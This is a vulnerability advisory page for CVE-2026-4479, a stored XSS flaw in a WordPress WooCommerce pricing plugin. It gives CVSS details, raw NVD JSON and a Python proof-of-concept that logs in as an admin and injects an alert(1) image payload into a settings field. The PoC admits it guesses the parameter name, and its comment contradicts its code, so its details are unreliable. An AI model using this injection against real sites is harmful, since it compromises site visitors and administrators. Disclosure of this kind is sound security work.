Security Vulnerability Report
中文
CVE-2026-4479 CVSS 4.4 MEDIUM

CVE-2026-4479

Published: 2026-04-14 04:17:19
Last Modified: 2026-04-22 20:23:16

Description

The WholeSale Products Dynamic Pricing Management WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WholeSale Products Dynamic Pricing Management WooCommerce <= 1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Configuration target_url = "http://target-site.com/wp-admin/admin.php?page=wholesale-products-dynamic-pricing-management-woocommerce" username = "admin" password = "password" # Authenticate and get cookies session = requests.Session() login_payload = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url } session.post("http://target-site.com/wp-login.php", data=login_payload) # Exploit: Inject XSS via admin settings # Note: The specific parameter name depends on the plugin implementation, assuming 'setting_name' here. xss_payload = '<img src=x onerror=alert(1)>' exploit_data = { 'action': 'update_options', 'pricing_label': xss_payload, # Vulnerable field 'submit': 'Save Changes' } response = session.post(target_url, data=exploit_data) if response.status_code == 200: print("Payload injected successfully. Check the admin page.") else: print("Failed to inject payload.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4479", "sourceIdentifier": "[email protected]", "published": "2026-04-14T04:17:18.717", "lastModified": "2026-04-22T20:23:16.350", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WholeSale Products Dynamic Pricing Management WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wholesale-products-dynamic-pricing-management-woocommerce/trunk/class-main.php#L114", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6b0382e2-e029-4e19-981c-6dc570e182f0?source=cve", "source": "[email protected]"}]}}